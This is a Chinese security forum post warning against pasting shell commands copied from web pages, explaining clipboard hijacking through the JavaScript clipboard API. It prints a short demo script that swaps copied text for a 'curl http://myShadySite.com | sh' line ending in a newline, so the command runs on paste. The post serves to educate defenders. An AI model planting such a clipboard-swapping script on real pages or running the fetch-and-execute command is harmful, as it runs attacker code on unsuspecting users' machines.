安全矩阵

 找回密码
 立即注册
搜索
查看: 4273|回复: 0

别!复制网页文本到终端/Shell执行

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-10-17 20:49:14 | 显示全部楼层 |阅读模式
原文链接:别!复制网页文本到终端/Shell执行

当,你在网页上寻找解决问题方法那会儿,看到shell命令,注意,别随便就复制到终端里执行~

这里可能深藏着JavaScript恶意代码。


现代的浏览器都支持Javascript 粘贴板 API,允许网页插入字符到用户的粘贴板,并且不需要用户授权,甚至用户都不知情。

对于经常使用手机浏览器的同学们,应该会有印象,在访问一些不知名的网站之后,打开淘宝或者支付宝会跳到一些奇怪的页面,或者在输入法顶部粘贴板的位置有一些奇怪的字符,这个,就是上述的API在作祟。

那么,现在这里展开一个案例,你会发现这个攻击是如此的简单。想像一下,你在寻找一个echo 命令的用法,网页上显示是这样的:

$ echo "这貌似很正常"

但是,当你复制这一段文字,想试试echo这个命令的效果时候,奇怪的事情出现了。粘贴出来的完全不是上面的字符。而且不用敲回车,就已经执行了。

其实这背后隐藏着的是一段JavaScript代码,功能是复制上面文字的时候,偷偷地替换粘贴板的字符,让你最终复制到粘贴板里的是一段恶意代码,并且还带上了换行符,相当于命令按了回车,也就是说,你如果此时粘贴到命令行里执行,就运行了恶意代码。

下面是demo页面,也是翻译的原文,复制红色的文字到记事本你就会发现它真的有点神奇 (点击原文链接查看demo)
  1. https://briantracy.xyz/writing/copy-paste-shell.html
复制代码
这一段隐藏在网页中的JavaScript代码便是
  1. document.getElementById('copyme').addEventListener('copy', function(e) {
  2.     e.clipboardData.setData('text/plain',
  3.         'echo "this could have been [curl http://myShadySite.com | sh]"\n'
  4.     );
  5.     e.preventDefault();
  6. });
复制代码




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-20 10:50 , Processed in 0.012095 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表